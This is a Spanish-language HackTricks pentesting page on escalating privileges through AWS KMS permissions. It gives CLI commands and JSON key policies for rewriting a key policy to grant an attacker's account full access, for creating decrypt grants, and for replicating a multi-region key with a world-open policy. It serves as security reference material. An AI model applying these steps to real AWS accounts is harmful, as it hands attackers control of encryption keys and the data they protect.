AWS - KMS Privesc

Apoya a HackTricks

KMS

Para más información sobre KMS revisa:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Con estos permisos es posible modificar los permisos de acceso a la clave para que pueda ser utilizada por otras cuentas o incluso por cualquiera:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Permite a un principal usar una clave KMS:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Un grant solo puede permitir ciertos tipos de operaciones: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Tenga en cuenta que puede tomar un par de minutos para que KMS permita al usuario usar la clave después de que se haya generado el grant. Una vez pasado ese tiempo, el principal puede usar la clave KMS sin necesidad de especificar nada. Sin embargo, si es necesario usar el grant de inmediato use un grant token (verifique el siguiente código). Para más información lea esto.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Nota que es posible listar la concesión de claves con:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Con estos permisos es posible replicar una clave KMS habilitada para múltiples regiones en una región diferente con una política diferente.

Entonces, un atacante podría abusar de esto para obtener privesc a su acceso a la clave y usarla

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Este permiso permite usar una clave para descifrar alguna información. Para más información, consulta:

AWS - KMS Post Exploitation
Apoya a HackTricks

Last updated